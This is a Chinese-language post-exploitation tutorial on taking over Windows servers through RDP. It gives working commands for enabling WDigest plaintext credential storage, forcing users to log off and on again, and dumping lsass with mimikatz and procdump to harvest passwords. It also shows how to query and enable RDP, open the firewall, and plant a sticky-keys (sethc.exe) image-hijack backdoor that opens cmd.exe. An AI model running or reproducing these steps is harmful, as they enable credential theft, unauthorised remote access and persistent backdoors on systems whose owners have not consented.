后渗透之搞定RDP简析

目录

1.提取Windows Server 2012之后版本的登录密码

2.远程登录

3.Shift粘滞建后门-映像劫持

---

1.提取Windows Server 2012之后版本的登录密码

    Windows服务器自2012始默认是不存储明文密码的，使用常规的渗透方法(mimikatz+procdump64.exe)是获取不到密码。但是这个问题能难倒我，怎么难得倒足智多谋的社会人呢？

需要修改注册表（# 注意如果执行修改、查询注册表命令失败时建议切换后门管理工具）

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

在修改注册表的时候，使用的测试系统是没有注册表项（UseLogonCredential） ，使用命令行添加

执行完成后会发现注册表里会多一个东西

需要锁频迫使用户重新登录，需要管理员权限才能执行该命令，关于rundll32.exe请查阅微软官网的指导说明。

rundll32.exe user32.dll,LockWorkStation # 锁屏

 查询用户ID，注销已登录用户，实战环境中建议慎用。

query user

通过id注销已登录用户，就是把用户挤下去让他在登陆一遍，这样系统就会记录登录用户的明文密码了。

logoff ID 

然后再利用工具（mimikatz+procdump64.exe）获取明文密码 

mimikatz.exe

privilege::debug

sekurlsa::logonpasswords exit

 也可以使用(procdump64.exe+mimikatz)在本次提取密码，效果一样，注释纯属见文识意并不十分准确。

procdump64.exe -accepteula -ma lsass.exe lsass.dmp #从lsass.exe导出配置文件并保存为lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit" # 提取lsass.dmp的内容

2.远程登录

在拿到密码后当然需要远程登录一波了， 根据本次实战环境发现运维人员修改了3389端口，使用命令查询修改后的端口，原理就是查询注册表PortNumber的值，修改端口时也需要修改该参数。

 REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

 该值默认是16进制，需要转换一下

 开启远程桌面，在开启远程桌面前需要配置防火墙策略

防火墙策略配置netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

Windows 2012

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

Windows 2008

REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

3.Shift粘滞建后门-映像劫持

 本内容来自好友【shy014】

粘滞建后门是Windows的一个特性，目的是为了方便手指不方便的人，俗话说的好“本来网络是安全，自从有了研究安全的人之后就开始不安全了”。

 该隐患的原理就是替换"Options\sethc.exe"文件为"C:\windows\system32\cmd.exe"，当正常调用粘滞建功能时就会调用cmd命令行。

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

当再次连续5次点击Shift时就会弹出cmd命令行

 补充

netsh advfirewall firewall show rule name="Remote Desktop" # 查看策略

​​​​​​​